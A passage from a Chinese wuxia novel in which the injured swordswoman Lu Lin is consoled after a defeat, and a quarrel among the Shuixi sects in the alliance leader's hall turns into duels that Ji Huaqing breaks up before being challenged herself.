姬花青、雨馀凉、李愈、权宁站在陆临床边,李愈再三谢过雨馀凉和姬花青,又跟权宁交代九歌的人来这么一闹善后的事,雨馀凉无意看向陆临露在被子外的脸,惊觉陆临脸上已淌满了泪水。 雨馀凉先前注意一直在其他人身上,不知陆临已无声地哭了多久,他心里不是滋味,轻声道:“陆姑娘,你别伤心了。” 其他人听雨馀凉这么说,纷纷看向陆临。权宁之前虽没和何若枫过两招就被打晕,之后醒来除了身上有点痛外倒也没什么大碍,他看见陆临这样,心里也不好受,对陆临道:“陆师姐,你的腿很痛、很难受么?还是在担心腿上的伤?别担心,方才姬姑娘不是说了,这伤不会导致残疾,你好生将养,过不了多久就又能跑、能跳,能每天练剑了。” 陆临听到权宁最后一句话,更多的泪水从眼中漫了出来,喉咙里也溢出了呜咽。 权宁以为陆临是因为被枪戳伤的地方太痛或是担心会留下后遗症才哭,但姬花青和李愈都多少知道,陆临难过不是因为身体的伤,而是内心受到了打击。 在陆临看来,世上没什么事比你在一样事物上付出所有,结果到头来发现依旧比不上别人更令人难过了。 陆临吸了吸鼻子,将头偏向床里侧,满眼通红地望着白色的墙壁,道:“我想跟姬姑娘说说话,其他人都出去。” 雨馀凉和权宁对视一眼,前者拉着后者走出屋子。李愈跟在雨馀凉和权宁后面,在雨馀凉和权宁踏出屋门后,他在门口迟疑一阵,将屋门关上。 雨馀凉和权宁同时回头,伴随着关门声响,只见逐渐变窄的门缝后,李愈的身影短暂一现,下一刻屋门便紧闭了。 李愈将自己关在了屋里。 他折返回去,关怀地看着陆临,陆临见李愈回来,有些许吃惊,却也没对李愈的在场表现出抗拒,只是从床上坐了起来,对姬花青道:“姬姑娘,你可不可以告诉我,如何才能把武功练好?” 姬花青听陆临这样直接地问,不禁微笑,道:“陆姑娘为何问我这个?我武功好么?”在姬花青印象中,陆临今天才第一次和她见面,应当对她不甚了解才对。 陆临道:“我听权宁说起过你,之前在龙虎寨中,是你和那位雨馀凉少侠救了他。姬姑娘能以一人之力打败瑚庄高手和龙虎寨群匪,武功当然是很好的。” 姬花青道:“其实那日对敌的不止我一人,除馀凉外,在我身边还有不少同伴帮手,若没有他们,龙虎寨的事是万万解决不了的。” 陆临垂下被泪水打湿的眼睫,道:“所以姬姑娘能告诉我吗?把武功练好的诀窍。” 这个问题要如何回答呢,姬花青想,勤勉是答案么?天道酬勤么?可为什么有人努力后获得了回报,有人没有? 姬花青伸手将陆临散下来的头发别在她耳后,道:“陆姑娘已经很是优秀,只要按照现在做法坚持下去……” 陆临突然抬头,看着姬花青道:“不!不要再说我优秀什么的了!”她才止住哭不久,此刻泪水又蓄满了眼眶,“我……我以前也以为自己很不错,也……暗自在心里感到得意……”她闭上眼,眼泪滑过她的脸颊,呜咽道:“……可我今日才知道,自己的武功很差劲……我……我在练武这件事上倾注了所有,为了将武功练好我付出了一切,可到头来……”她垂下头,开始痛哭。 陆临心绪澎湃汹涌,她有很多东西想要倾吐出来,但脑海里却又一片空白,她虽然心里万分痛苦,但说出来的话表达不出她痛苦的十分之一。 她不知道姬花青是否能懂她的意思。 陆临把除了吃饭睡觉外几乎所有的时间都投入到练剑中来,付出的代价是其他事都草草应付。 这导致她失去了许多,也导致很多人对她有意见。 比如,尽管她本来拥有姣好容颜,却嫌梳妆打扮浪费时间,觉得饭吃得少没力气练武,于是将自己的形象抛在脑后。 又比如,她把所有心思都用在追求武学的更高境界,其他方面都不放在心上。某一套剑法的某一式练半天练不好就暴躁,某一招产生的某种变化理解不了就给别人脸色瞧,所以平日与人相处、说话间得罪了不少人,但因为她确实优秀,一般人也就受着。 她知道自己的不足、不对,但她告诉自己没关系,只要在自己最想得到的事上得到,其他东西都失去也无所谓。然而现在事实却告诉她,她在这件事上也没得到什么。 她热爱武功、剑法,她把它们当成是自己一生的事业,这是她活在世上仅剩的价值,是她唯一拥有的东西,唯一能够倚靠的东西,但她今日却忽然意识到一个事实:这件自己唯一擅长的事都比不上很多人。 就像做了很多年的美梦突然醒来,然后现实告诉你:那只是一个梦,一个幻象。 重云门是水南武林的名门大派,而陆临是重云门年轻一辈最优秀的弟子,这优秀是她用勤奋换来的。对于那些剑法磕磕绊绊、不那么优秀却不知怎么提升的同门,陆临总是用看透一切且不耐烦的语气评价:“自己不努力罢了。” 而对于像铎占文这种鹤立鸡群便觉自己有多么了不得的小门小派弟子,她也会嘲讽他们的眼界狭窄。 然而今日湘君、湘夫人的出现让陆临发现,她跟之前被自己讥讽的铎占文似乎没什么不同。 陆临没想到自己跟湘君连三招都过不了。 更让她备受打击的是,半年前跟人打架连手脚都不知道怎么放的雨馀凉,如今竟能与湘夫人缠斗那么久。 那她这么多年心无旁骛的付出究竟是为了什么?换来了什么? 陆临独独留下姬花青跟她说话,是因为姬花青与她同为女子,同为习武的女子。 但现在陆临自嘲地想,自己那样深厚的不甘,姬花青大概不会懂。 然而下一刻,她突然被拥入了一个怀抱中。 姬花青轻轻拥陆临入怀。 陆临靠在姬花青肩上,边哭边道:“我看着她们用那么多时间梳妆打扮,常常想,男人都在用这些时间练习武功,女人要维持好看的容貌,岂不是天生就比男人少很多做正事的时间?” “男人总说着要谦让女人,可在面对真正的利益时,却从不会让出来。” “男人怎会因为自己的敌人是个好看女人就下不了重手?这样的事只会发生在话本里吧,江湖上讲的是你死我活,谁管你是女是男,是老是少?” “世上最不缺的就是好看的女人,少我一个又怎样呢?” 姬花青听了这些话,将陆临抱得更紧了些。 陆临一边啜泣一边道:“我的生命里只有剑了,可即使这样,我依旧是个废物,是个废物……” 姬花青道:“陆姑娘,我在江湖漂泊多年,也算见过很多习武之人了,陆姑娘剑法精妙,绝不是‘废物’,我敢保证。”她语气十分坚定。 陆临没再说话,只时不时发出一两声鼻子吸气的声音。 而从刚才起一直安静待在一旁的李愈此刻突然插口道:“陆姑娘,连你都说自己是废物,”他苦笑,“你让我如何自处?我是水南武林盟主的儿子,但天生无法聚气运功,一个完全不会武功的武林盟主,岂不是天大的废物?” 窗外的雨馀凉听到李愈这句话,心中的猜想终于得到了证实。 李愈道:“陆姑娘,你千万别自轻自贱,胜败乃兵家常事,百年前裴秉延在水西呼风唤雨的时候,谁又能想到他最后是那样一个下场呢?”他说到这,对陆临展开一个极温暖的笑容,“一次没打赢,下次再来过,你是我的护卫姑娘,你若是振作不起来,可没人能胜任这一职位。” 姬花青双手放在陆临肩膀上,稍微使一使力,柔声道:“李盟主说得没错,一次没打赢,下次再来过,就算下一次打不赢,还有下下次,下下下次,又有什么了?况且……”她看向陆临的脸,“何必非要与他人比,做自己喜欢的事,每天都比前一天有进步就已经很好,陆姑娘喜欢练武,喜欢剑法,是不是?那就坚持做下去,挫折什么的,都会有的,但每跨过一道坎,你都会比之前的那个你更强。” 陆临看着姬花青,本来已经止住泪水的左眼又淌下一滴清泪,她道:“那我的武功有一天可以和姬姑娘你一样好吗?” 姬花青突然伸出双手握住陆临的手,道:“一定可以的,一定可以的!”她的语气不容置疑且充满希望,似乎比陆临自己还要相信她可以做到,姬花青接着道:“总有一天,你的武功会超过我,我相信!” 更多的眼泪从陆临眼中溢出。 因为受伤加上剧烈的情绪起伏,之后陆临便陷入了沉睡。姬花青和李愈轻手轻脚从陆临的房间出来,同雨馀凉、权宁一起来到了李愈平时所待的屋子。 雨馀凉简短地跟姬花青说了自己认识李愈的经过后,姬花青心想—— 你小子! 总是能在意想不到的地方发展起意想不到的人脉,之前在瑚庄也是,姬花青还啥都不知道,还在那吭哧吭哧骗寇传维呢,雨馀凉就跟瑚庄大弟子边潇以及庄主剑侍碧桃混熟了。 姬花青想,她要是早知道雨馀凉这么容易就进了盟主府邸,还跟水南武林盟主相谈甚欢,直接一开始就跟着雨馀凉了,还费那么多劲干啥呢?她这几天又是爬墙又是观望又是伤脑筋抓头的,在墙头吹了好几天风头都吹痛了,要是早点让雨馀凉把她跟盟主大人引见一下,看李盟主对雨馀凉这个好感拉满的样子,多多少少都能为她进入前院提供一点方便吧? 不过现在也不晚,姬花青在心内组织语言,准备问问李愈进前院的法子。 徒弟,好徒弟,是时候让师父抱抱大腿了。 姬花青想到这,才猛然想起雨馀凉不是自己徒弟。 只是教小朋友武功而已,她亲口说的。 咳,都怪教里那群人问来问去,因为嫌一次又一次解释起来麻烦,干脆默认雨馀凉是自己徒弟,结果现在整得她自己都快忘了二人之间究竟是怎么一回事了。 雨馀凉此时内心却也不是很平静,他脑海中不断在重复闪现一些画面,其中就包括九歌诸人临走时,他看到东皇太一对他深深望了一眼。 是他多心了吗?或许东皇太一只是随意朝他所在的方向一瞥? 他很想这么认为,但直觉告诉他,不是。 就像更之前的时候,云中君那张被白色面具覆盖的脸总是有意无意转向他一样。 雨馀凉突然打了个寒战。 姬花青正要开口向李愈提出自己的问题,屋外却突然传来一阵急促的脚步声,有人在外面道:“盟主,前院的客人争执起来了,您快去看看吧!” 108. 烟波(六) 穿过一座座院落、数不清的游廊,姬花青终于踏入了观望数天都不得入的盟主府邸前院。 此时正值盛夏,烈日当头,但前院树荫森森,碧绿苍翠,与朱红色的栏杆廊柱相互掩映,明晃晃间倒也有凉风细细。姬花青、雨馀凉、权宁以及几名盟主府邸的下人跟随李愈从后边院角与回廊相连的小门来到大厅所在的庭院。 众人进入大厅,绕过太师壁,雨馀凉眼前一下敞亮开阔起来,大厅里有相当多的人,而在踏入大厅后门前,雨馀凉就隐约听见争吵声从里面传出。 只见大厅中央蹲伏着一名妇人,那妇人看上去四十左右,左手执剑杵在地上,右手捂着胸口。妇人旁边则是一名少年,雨馀凉注意到那少年背上交叉背着两柄兵刃,隔得较远他看不太真切,不知那少年背着的是双刀,双剑,还是一刀一剑。 那少年躬身弯腰,似要将那妇人扶起,同时忿忿地看着二人前方的老者。 妇人和少年面前的老者身量颇高,两腮结实,神情十分威严。他头发、胡须皆已全白,看上去已有七十来岁,但身形却十分挺拔,肩膀宽阔,胸膛厚实,跟壮年人一般无二。 只是眼下三伏暑热的天,那老者却穿着皮裘大衣,让雨馀凉感到好生奇怪。 而在妇人、少年以及那老者之间,还站着一名三十多岁的严妆妇人。那严妆妇人一手持剑,一边和那老者对视。 说他们所在的地方是一个大厅也许不太准确,因为屋顶开了个正方形孔洞,所以这地方又像或者说就是一个由回廊四面围成的宽阔场地,只不过这回廊的廊顶很高,廊檐很宽。廊檐下坐着的便是这次从水西各处来到临蓟的九派的人。 雨馀凉看向大厅四周,只见方形大厅内除了主位的那一方,其余三方每一方都坐了两三个门派的门派领头人,领头人身后则各站着一大群本门弟子。 雨馀凉还看到,大厅右手边最靠近主位的那个门派,门派领头人从椅子上站了起来,正全神贯注地看着大厅中央。 李愈见此情形正准备说话,一个身影突然从领头人站起的那个门派弟子群中钻了出来。那身影小小一团,且移动迅速,众人只觉眼前一闪,紧接着就听见当的一声,站在大厅中央的那老者将手中刀举过头顶招格,而在那老者头顶上方,一个身材十分矮小的汉子正手持兵刃从那老者头顶往下劈去。 那矮汉子手中的兵器造型奇特,比一般的剑要短,却比匕首要长,应当是一种短剑,而剑刃弯弯曲曲就像蛇一般。 那老者手臂上举,衣袖滑落露出筋肉虬结的手臂,忽见他手臂上肌肉绷紧,伴随着一阵金属嗡鸣声,那矮汉子连人带剑被凌空弹开,他在空中迅速打了好几个空翻,最终后落在距那老者丈余远处。 等那矮汉子站直后,雨馀凉才惊觉前者比他预想的还要矮。那矮汉子嘴唇上方左右两边各撇下一撮胡须,脸看上去有三四十岁,但他身高只如七八岁的孩童,与他的武器一样,看上去怪异至极。 那背上背着两把兵刃的少年将妇人扶起,对那矮汉子叫道:“郎叔叔!” 那矮汉子回头对那少年一笑,道:“赶紧扶着你闻人姑姑回去坐下,这儿交给我。”他又转头对老者道:“穹隆老儿,争论就争论,怎么动起手来了?你这般为老不尊,越活越回去,简直不像话,今天我就来好好教教你规矩!” 那老者冷冷道:“老夫还没沦落到要被一个偷鸡摸狗的梁上小贼教训的地步。” 那矮汉子嘿嘿嘿笑起来,脚一蹬地,整个身子便弹射出去,倏忽间就来到了那老者跟前数寸远近。他手腕一翻,利剑刺出,那老者不闪不避不招架,运刀对那矮汉子来招进行拆解。 那矮汉子看出老者这一刀包含少说十种后着,而自己若以剑去破拆这些后着,那老者的这一刀定又能根据自己拆招的路数幻化出更多的奇招。 那矮汉子心下暗惊,雪山刀法果然非同一般,称霸北地数百年的雪山派果然非同小可! 不仅那矮汉子感到棘手,那老者这一招于在场其他人看来也着实是巧妙绝伦。而姬花青看了一眼,却想出了至少五种化解之法。 见那老者刀招霸道,矮汉子不敢与其针锋相对,身子在半空中一转一扭,便如泥鳅游蛇一般,贴着那老者刀侧滚过,倏忽间便绕到了那老者后颈处。 那老者虽看上去年迈,但动作敏捷犹胜青年,反手负臂将刀往后背一伸,大厅众人听见一声清脆的金属撞击声,定睛一看,原来是老者以刀面挡住了那矮汉子曲剑剑尖。 那老者挡下这剑后,不给那矮汉子喘息的时机,就着反手使刀的动作,也不回头,当即背对着那矮汉子不断送出刀招,他听声辨位,就如同背后生了眼睛一般,那矮汉子每躲开一刀,下一刀又准确无误地刺来。 一名坐在椅上的门派领头人看了那老者这项绝技,一手捧着茶盏,笑赞道:“到底是穹隆掌门。”说罢吹开茶汤上的浮沫,意态闲闲呷了一口。 那矮汉子虽然也想和那老者过上几招,但见老者每一刀都来得凶险,愣是没找到机会,只好一味闪躲。然而他闪躲的本事极是高明,动作异常敏捷,非常人所能及。众人只见他贴着老者身侧蹿来蹿去,每当老者的刀向他所在位置砍来,他人早已到了别处。 又有一门派的领头人道:“我以为他上场是来比真刀实剑的功夫的,没想到是让大伙看他逃跑的英姿。” 这话传入了矮汉子耳中,那矮汉子道:“想看爷爷的剑法?爷爷这就使给你们看!”说着握剑的手一挥一削,挺剑就朝那老者斫去。 那矮汉子所在门派的领头人从刚才起就没坐下,少年将妇人扶回后,那领头人先是查看问询妇人伤势,随后看到场上这一幕,不禁在心里对那矮汉子的做法焦急叹气:“怎么这么经不起激?别人一句话就沉不住气了。你的轻身功夫无人能及,可若论手上的硬功夫,如何是那穹隆老人的对手?” 大厅中间,那老者见那矮汉子持剑向自己刺来,嘴角一勾一笑,当即也举刀相迎。 那矮汉子左手捏了个剑诀,凌空屈膝,衣袍在空中猎猎舞动,眼见那矮汉子手中的剑就要和那老者的刀相击,突然之间,那矮汉子的剑路轨迹却产生了奇异的嬗变。 稍微了解那矮汉子所在门派的人都能看出,虽然那矮汉子一开始使的是他们门派的剑法,但使到中途,就不是那么回事了。即使不了解水西这些门派的招式,武学造诣稍高的人也能看出那矮汉子前后所使不属一套武功。 那老者本来已做好了应付那矮汉子原本招式的准备,不想那矮汉子突然变招,而这招就风格来说并不像那矮汉子所在门派的武功,心中暗自纳罕,想,他们门派什么时候有这种招式了?忽然,那老者反应了过来,心道:“不是他们门派的剑招,是殊华派的剑法!” 若这属于殊华派剑法的一剑直接向那老者使来,那老者也能够应付,只是比武场上情势瞬息万变,就在那老者疑惑犹豫的短短瞬间,那矮汉子的剑便已探到那老者面前,那老者来不及对这一剑进行拆解,于是抬刀准备架格。 但那矮汉子闪躲了这许久,好不容易出的一剑显然不是这么轻易就能被打发的,只见那矮汉子的剑刃在老者刀身上轻轻一点,下一刻便剑锋流转,以十分优美雅致的姿态直取那老者身上数处要穴。那老者有些着了忙,连向后趋避五六步才得以躲掉那矮汉子这一整套攻势。 那矮汉子落地站定,笑道:“穹隆掌门,郎某一开始要尊敬长辈,所以只是防守,并不出招。只不过方才被有些人误会成逃跑,这才不得已用行动证明某除了逃跑还会些别的,方才得罪了。”他这话说得乖觉,既对方才出言讥讽他的人进行了侧面的敲打,顺便将之前在那老者刀下毫无还手之力的窘迫之态也一并掩盖了过去,说成是自己礼让前辈。而他越守礼,便越发衬出那老者的暴躁蛮横。 如此看来,这矮汉子的为人就跟他的身法一样油滑。 只是那矮汉子刚才出的那一剑风格姿势跟他实在不搭调,那矮汉子是个壮年男人,而方才那一剑过于娇滴滴,他这么一剑刺出,已经到了让人看了后不由得起一背鸡皮疙瘩的程度。 正因为这点,其他人也分不清他到底是想单纯凭剑招取胜,还是要在这之前就先将那老者恶心一番,然后再趁那老者内心大震之时陡出狠招。 不过看那老者的反应,应当是被成功恶心到了。只见那老者站稳后怒瞪那矮汉子道:“偷鸡摸狗的贼!专使下作手段,若不是你将你们门派的剑法使到中途突然变成殊华派的剑法,刚才这小小的便宜你岂能占到?” 雨馀凉听到这心头一突,想起之前谷州刀派大较,谢岚星对付他时也是用类似的方法。 那矮汉子目睁口张,佯作大惊失色态,深吸了一口气道:“穹隆掌门,你这话说得是不是有些过分?竟然说殊华派诸位姐姐妹妹的剑法下作!就算你真是这么想的,也不该在这种场合当着这么多人的面说嘛!” 那老者胸口起伏了一下,道:“我说的是你手段下作,不是剑法,你不要偷换概念!” 那矮汉子道:“手段下作?”他疑惑地将头一歪,“嗯,难道穹隆掌门争论时突然出手将我们门派的人打伤就不下作?何况我用殊华派的剑法对付你,也是替叶掌门和殊华派的两位小姑娘出气。”他说着看了旁边站着的严妆妇人一眼。 那严妆妇人剑尖指地,看上去跟水南重云门门主郑宝卿差不多年纪,容貌虽没有郑宝卿那般美,但气质却更加出众。 在一旁看了这许久,姬花青也大概知道大厅中央的这些人是谁了。 那老者是雪山派掌门穹隆老人。那矮汉子却是凌虚派的人,名叫郎九九,此人身高不过四尺,偷盗扒窃的本领却无人能及。而方才那被少年搀走的妇人名叫闻人梦,坐在场下的那名凌虚派领头人则叫闻人冲,姬花青早在离开玄同教前就见到过这对兄妹,此次凌虚派来临蓟,也正是由这对兄妹带队。 相对水西其他门派,姬花青对凌虚派更加熟悉、了解更多,是因为凌虚派当年就是由水西卫氏的一名族人亲手建立,由当时卫氏所倚重信赖的一位江湖名宿担任第一任掌门。凌虚派自建派以来就对水西卫氏忠心耿耿,历任掌门都是水西武林盟主的心腹幕僚。也因着凌虚派与水西卫氏这层特殊的关系,凌虚派在水西武林中的地位便与别的门派不同,自然而然地就成了水西武林正派领袖。 正派领袖嘛,所以与统领江湖邪道的玄同教可以说是势同水火。 而她的师父穆禾对凌虚派似乎也格外关注。 不过如今水西武林内部分裂,其他门派对凌虚派也不是那么尊重了,方才穹隆老人将闻人梦打伤就是很好的例证。 而郎九九口中的叶掌门,也就是执剑而立的那位严妆妇人,便是殊华派掌门叶锦栊。 李愈来到大厅后见这里乱成一锅粥,也不知是怎么一回事,便询问之前一直待在这里的盟主府邸下人,那名下人向李愈陈述后者到来之前这里的情况,姬花青和雨馀凉也在一旁竖起耳朵细听。 原来站在卫氏一边的门派和站在聊氏一边的门派因为某事争论了起来,之后争吵愈演愈烈,凌虚派闻人梦到大厅中央和雪山派穹隆老人理论,后者情绪激动下向前者拍出一掌,前者没料到后者会突然出手于是被打伤。殊华派掌门叶锦栊看不过去,拔剑就和穹隆老人斗在一处,二人相斗时,殊华派的两个小弟子想来帮师父的忙,结果被穹隆老人一掌击退在一旁,并说:“殊华派的弟子难道都这么不懂规矩?” 在场其他人,尤其是支持卫氏的门派众人虽对穹隆老人的为人和处事方式颇有些微词,但也觉他这句话倒是没什么问题。 被穹隆老人击退的两名殊华派弟子十分年轻,而这又是她们第一次跟师父离开门派历练,确实有很多规矩不大明白:江湖上,长辈之间比武,小辈是不能随便插手的。 只是那两名殊华派小弟子修为不够,如何经得起雪山派掌门这一掌?二人身子飘出落在地上,其他殊华派弟子忙上前去将她们扶起,见两名师妹嘴角有血,不由得大惊失色,穹隆老人却在一旁笑道:“放心,老夫有掌控好力道,回去调息几个时辰就没事了,这次不过给她们一个教训。” 叶锦栊见自己徒弟被打伤怒不可遏,但她性子柔和,涵养极好,饶是如此也没有怒形于色。也刚好在这时,凌虚派那名少年弟子褚双来到大厅中央察看闻人梦伤势,李愈等人来到大厅时,看到的便是这一幕。 郎九九挽了个剑花,右脚一勾,腰一摆,殊华派弟子、以及其他门派武功较高的人都看出他这是殊华派湘妃剑法的起手式。 郎九九对殊华派武功并无钻研,只不过是先前见叶锦栊与穹隆老人相斗时使出便模仿了来而已,方才他将穹隆老人打了个措手不及的那一招,以及现在摆出的湘妃剑法起手式都是现学现卖。郎九九对穹隆老人道:“老头子接招,我接下来还要用殊华派的招式,好好给那两个小妹妹出口恶气!”他这话说得很有气势,但跟刚才一样,殊华派这样妩媚的招式由他使出,其他人怎么看怎么不舒服,怎么看怎么滑稽,尤其是殊华派弟子。 一些年轻一点的殊华派弟子捂嘴偷笑,另一些较为年长的弟子却微微蹙眉,觉得郎九九在丑化她们殊华派武功,但郎九九既说是为殊华派出气,倒也没再深入追究。 穹隆老人活到这把年纪也是老狐狸了,知道郎九九表面这么说,一会跟他比武时多半又会换回凌虚派的武功,心想不得不防着这点。 郎九九向前跃出,挺剑直向穹隆老人而来。这回穹隆老人出手比先前稳重得多,明显是在防着郎九九突然变招,无论是变成凌虚派,还是殊华派,抑或其他门派武功。之前雨馀凉在谷州刀派大较时面对谢岚星的突然变招毫无解决办法,几乎是单方面挨打,可穹隆老人跟雨馀凉不同,前者是大派掌门、北地武学宗师,这种小把戏在第一次对付他时也许有用,但若想之后再在他身上占到便宜,只能说是痴人说梦。 郎九九见自己的策略在穹隆老人身上不起作用了,心想这老头倒还没老糊涂。他打得越来越吃力,眼见穹隆老人一刀从自己头顶斜上方劈来,只得又使出看家的功夫,泥鳅般顺着穹隆老人的手臂溜走。穹隆老人感觉到郎九九来到自己肩后,十分迅捷地变招,刀身换转方向,刀尖径朝郎九九刺来。 郎九九见穹隆老人的刀倏忽间追到,也是暗自愕然,身子又是一扭,闪至穹隆老人右腿膝弯处。 虽然穹隆老人刀法精深神妙,一刀刀如疾风迅电,可每回他的刀戳向郎九九都慢了一步,郎九九总能在最后一刻闪至别处。 在场众人一边在心内暗赞穹隆老人的刀法,一边又都想:这郎九九不愧负有“神偷”之名,他若在梁上柱间这般游走,料谁也发现不了。 郎九九只绕着穹隆老人身周游动,并不远离后者,郎九九心里清楚:以穹隆老人本身为掩体,只有这样他才是安全的,一旦与穹隆老人拉开距离,他将失去任何掩藏之处,整个人暴露在穹隆老人的刀芒下无处可逃,而他的剑法绝不是穹隆老人刀法的对手。 而穹隆老人被郎九九这般在自己身周上蹿下跳弄得不胜烦躁,不仅他的刀法使不开,郎九九就像一只蹿到身上的老鼠,怎么也甩不掉。周围观战的人中有一些似乎也开始感到了滑稽,人群中时不时传出一两声笑。 穹隆老人正自恼火焦躁,围观人群中突然又跃出一道身影,那道身影伴着一星寒芒粼粼闪烁,直向郎九九而来。郎九九游走间突然瞥见举剑向自己刺来的人影,心道:“不好!”那剑正刺向他的去路,而郎九九若在此时停下,穹隆老人的刀就会将他砍中,他已无法改变自己行进的方向,向前向后都是死路! 闻人冲见状忙要上前,可似乎已然来不及,就在这危急无比的时刻,又有一把剑出现在了郎九九的视线中。 一道白芒将另一道白芒荡开,两剑相击碰出橘色火花,叶锦栊的石榴红裙摆在郎九九眼前扫过,郎九九只怔愣了一瞬间,下一刻便反应过来,与叶锦栊几乎同时跃开,落在地上站定。 另一边,丹阳派负责带队的灵璇子也轻飘飘落地。只见他身着酱色道袍,广袖下的长剑剑刃反射出银光。 郎九九抬头望向叶锦栊,道:“叶掌门,多谢相救啦。” 叶锦栊略一点头道:“举手之劳,何足挂齿。”她之前见穹隆老人争执之中突然动手打伤闻人梦,心中替闻人梦不平,便与穹隆老人动上了手,之后穹隆老人更是打伤她门下弟子,她本欲与穹隆老人斗出个高下,不想郎九九中途上场与穹隆老人相斗,殊华掌门叶锦栊为人正派,尽管对穹隆老人已经颇为不满,却还是不愿与郎九九二人合斗穹隆老人,然而刚才见到丹阳派灵璇子举剑入场要帮穹隆老人对付郎九九,这才出手帮郎九九当下了灵璇子那一剑。 叶锦栊跟郎九九说完,抬头对灵璇子道:“突施偷袭,以二敌一,丹阳派原来就是这样的‘名门大派’。” 灵璇子不徐不疾道:“叶掌门误会了,贫道不过是想要化解眼下的纷争,继续和诸位探讨先开始谈论的事。只是眼见穹隆掌门和郎先生斗得难解难分,一时想不到该怎么将二位分开才好,这才不得已携剑入场。” 郎九九道:“放屁!贼道士,老子才不信你的屁话!方才那一剑明明就是冲老子来,你还在这狡辩什么?” 灵璇子道:“郎先生,待贫道那一剑将要刺中郎先生时,贫道自会收手,决不会伤了郎先生。” 郎九九道:“信你的鬼话!那你刺他也是一样,为什么剑尖指向我?” 灵璇子笑道:“这个嘛,穹隆掌门是贫道的盟友,贫道出剑,剑尖下意识就对准了郎先生,还望先生莫怪。” 这个灵璇子倒是坦诚,不过他说的也有理,若是剑指盟友,日后合作时难免不会心生嫌隙。姬花青心想,看来雪山派确实也是站在了聊氏那边。 郎九九啐了一口,叶锦栊道:“这也是你那一剑没能得逞,谁知道你究竟是怎么想的?最终到底会不会刺中郎兄弟全在你此刻一张嘴。”她左手捏了个剑诀,右手举剑,道:“卑鄙小人,我叶锦栊今天非让你们败在我剑下不可!” 郎九九道:“说得好!叶掌门,我跟你一起!” 闻人冲本打算阻止两人,他刚叫:“郎兄弟,叶掌门……”那边郎九九和叶锦栊就已双双展剑冲向穹隆老人和灵璇子。灵璇子和穹隆老人飞速对视一眼,也各自举刀出剑相迎。 李愈在场下叫道:“各位!各位请住手,请听我一言……”然而无人理会,他这个水南武林盟主,在自己家的地盘上,方才来到大厅时水西九派这些人都没有一点反应,更不用说迎接他的到来了——当然大多数人关注点都在大厅中央,并没有注意到他——此刻他叫正斗得发性的几人住手,自然也起不到任何作用。 姬花青来到大厅后见这里集中了那么多水西九派的人,心想这莫不是个好机会?丹阳派存放金玉霜的地方在这时说不定守卫薄弱,正好趁机潜入盗药。之后见灵璇子入场,更是心潮澎湃难以平静,正自盘算要怎么找到丹阳派住处时,却见李愈在一旁扯着嗓子大喊试图稳定住局面,然而根本控制不住的一幕。 姬花青略一忖度,或许是因为李愈的为人让她还算喜欢,总之,等姬花青反应过来后,她已跃至场中,长刀出鞘,众人只听见当当当三声金属相击的脆响,叶锦栊、郎九九、穹隆老人、灵璇子四散向后退去,姬花青一手握刀,一手持刀鞘,啪的一声落在四人中央,她眼眸左右顾盼一番,这才抬头站直身子。 整座大厅一下静了下来。 姬花青道:“安静,李盟主有话要说。” 姬花青回到李愈身边,李愈对姬花青低声道:“姬姑娘,谢谢。” 姬花青对李愈略一点头。 客人发生矛盾,主人家也跟着伤脑筋。饶是在这里主人与客人关系微妙,李愈也还是要尽主人的职责,尽力调解客人之间的纷争。 李愈道:“诸位贵客是因何事争执?” 灵璇子笑道:“也不是什么大事,都怪我们闹出的动静太大,惊动了盟主。不过盟主在这里见证一下也好。” 李愈道:“见证什么?” 灵璇子道:“我们九派准备相互间进行比武,盟主在这,刚好亲眼见证谁更胜一筹。” 雨馀凉心道:“好端端的为何要比武?”他看向李愈,看见后者沉重的表情,联想起水西武林聊卫之争,他心中突然有了答案。 雨馀凉之前本自纳闷为什么聊以偲和卫尧觉没有亲自来临蓟,如今已然明白过来,水西九派就是聊以偲和卫尧觉的代理人。 既然是聊氏卫氏两方相争,那么这水西九大派自然也不是一气的了。 他们也是分成两个阵营。 雨馀凉恍然大悟,怪不得刚才听那道士说和那老者是盟友什么的。 离开谷州刀派后,雨馀凉不再是以前那个混沌木讷的笨蛋,他变聪明了,至于为什么会产生这种变化,雨馀凉自己也说不上原因。 也许就是老生常谈的,不幸使人成长吧。 这九大派之间哪个门派和哪个门派比武,不是随意决定的,而是支持聊氏和支持卫氏两个阵营的门派相互比武。至于比武的目的是什么,胜出的那方能得到什么,雨馀凉想到这,觉得答案已经不言而喻。 整个水南武林,这便是胜出后得到的奖赏。 见李愈不说话,灵璇子继续道:“可对于比武的规则,我们却产生了不同意见,这才争执起来,不过没关系,就在方才,我想到了一个公平的好办法。”他再次看向李愈,道:“盟主,敢问你身旁的那位姑娘是你的护卫么?” 李愈不知灵璇子问此话何意,他看向姬花青,随后又看向灵璇子,道:“不是。” 灵璇子心道:“果然不是,否则以前怎么没听说水南李氏有这么一号人物。”遂转向姬花青道:“这位姑娘,就请你与我们九派比武,如何?” 姬花青道:“什么?”她觉得自己有些没听清灵璇子刚才所说的话。而陡然吃了一惊的不止姬花青,雨馀凉、李愈、权宁,以及九派其他在场之人,都开始怀疑起自己的耳朵来。 “姑娘,贫道诚邀姑娘跟我们水西九派比武较量一番。”灵璇子放慢语气又说了一遍,同时微微躬身。 听到灵璇子的这一提议,姬花青第一反应是拒绝。 什么跟什么?她是来拿金玉霜的,跟金玉霜无关的活动她一概不想卷入,何况这种牵缠到太多的比武。 而且他们九派不是相互比武吗?怎么能跟她扯上关系呢? 姬花青不由自主地看向灵璇子,不知他葫芦里买的什么药。 这个灵璇子,一张脸似乎总是带着笑意,一把黑色须髯长长垂下,跟他们道观里的三清塑像几乎一模一样,他站在这说话,就像那些塑像活过来了一般,也正因为此,他那张总是微笑的脸反而让人感到有些恐惧。 拥有这样一张脸的灵璇子提出的比武邀请便更加显得诡异,即使姬花青没有“不想掺和与金玉霜无关的事”、“不想卷入麻烦”之类的理由,即使她还像以前那般对收集各门各派的武功招式化为己用为怀有热情,她也不想轻易答应这场比武。 如今的丹阳派掌门是灵璇子的师弟灵玑子。论资历,论武功,灵璇子都在灵玑子之上,可最终他们师父还是选了灵玑子继任丹阳派的掌门,原因只有一个—— 灵璇子是个武痴。 不过丹阳派却并没有因为这个而产生阋墻之衅,恰好相反,灵璇子对师父这一安排满心喜悦,因为他本就不想花掉人生中大部分时间来处理门派中杂七杂八的事务,无论是大事琐事,他只想一心一意钻研武功。 而姬花青方才将场中缠斗在一处的四人举重若轻地分开自己却毫发无伤,这引起了灵璇子的注意。 